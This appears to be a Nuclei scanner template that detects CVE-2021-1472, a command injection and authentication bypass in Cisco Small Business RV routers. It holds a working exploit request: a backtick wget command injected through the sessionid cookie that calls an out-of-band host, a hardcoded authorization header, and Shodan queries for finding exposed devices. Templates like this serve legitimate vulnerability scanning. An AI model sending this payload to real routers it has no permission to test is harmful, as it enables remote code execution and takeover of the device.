Cisco Small Business RV Series - OS Command Injection

id: CVE-2021-1472

info:
  name: Cisco Small Business RV Series - OS Command Injection
  author: gy741
  severity: critical
  description: |
    Cisco Small Business RV Series routers RV16X/RV26X versions 1.0.01.02 and before and RV34X versions 1.0.03.20 and before contain multiple OS command injection vulnerabilities in the web-based management interface. A remote attacker can execute arbitrary OS commands via the sessionid cookie or bypass authentication and upload files on an affected device.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized remote code execution, compromising the confidentiality, integrity, and availability of the affected device.
  remediation: |
    Apply the latest security patches or firmware updates provided by Cisco to mitigate this vulnerability.
  reference:
    - https://www.iot-inspector.com/blog/advisory-cisco-rv34x-authentication-bypass-remote-command-execution/
    - https://packetstormsecurity.com/files/162238/Cisco-RV-Authentication-Bypass-Code-Execution.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-1472
    - https://nvd.nist.gov/vuln/detail/CVE-2021-1473
    - http://seclists.org/fulldisclosure/2021/Apr/39
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-1472
    cwe-id: CWE-287,CWE-119
    epss-score: 0.72028
    epss-percentile: 0.99433
    cpe: cpe:2.3:o:cisco:rv160_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cisco
    product: rv160_firmware
    shodan-query:
      - http.html:"Cisco rv340"
      - http.html:"cisco rv340"
    fofa-query: body="cisco rv340"
  tags: cve2021,cve,packetstorm,seclists,auth-bypass,injection,cisco,rce,intrusive,vkev,vuln

http:
  - raw:
      - |
        POST /upload HTTP/1.1
        Host: {{Hostname}}
        Cookie: sessionid='`wget http://{{interactsh-url}}`'
        Authorization: QUt6NkpTeTE6dmk4cW8=
        Content-Type: multipart/form-data; boundary=---------------------------392306610282184777655655237536

        -----------------------------392306610282184777655655237536
        Content-Disposition: form-data; name="option"

        5NW9Cw1J
        -----------------------------392306610282184777655655237536
        Content-Disposition: form-data; name="destination"

        J0I5k131j2Ku
        -----------------------------392306610282184777655655237536
        Content-Disposition: form-data; name="file.path"

        EKsmqqg0
        -----------------------------392306610282184777655655237536
        Content-Disposition: form-data; name="file"; filename="config.xml"
        Content-Type: application/xml

        qJ57CM9
        -----------------------------392306610282184777655655237536
        Content-Disposition: form-data; name="filename"

        JbYXJR74n.xml
        -----------------------------392306610282184777655655237536
        Content-Disposition: form-data; name="GXbLINHYkFI"

        <input><fileType>configuration</fileType><source><location-url>FILE://Configuration/config.xml</location-url></source><destination><config-type>config-running</config-type></destination></input>
        -----------------------------392306610282184777655655237536--

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - http

      - type: word
        part: body
        words:
          - '"jsonrpc":'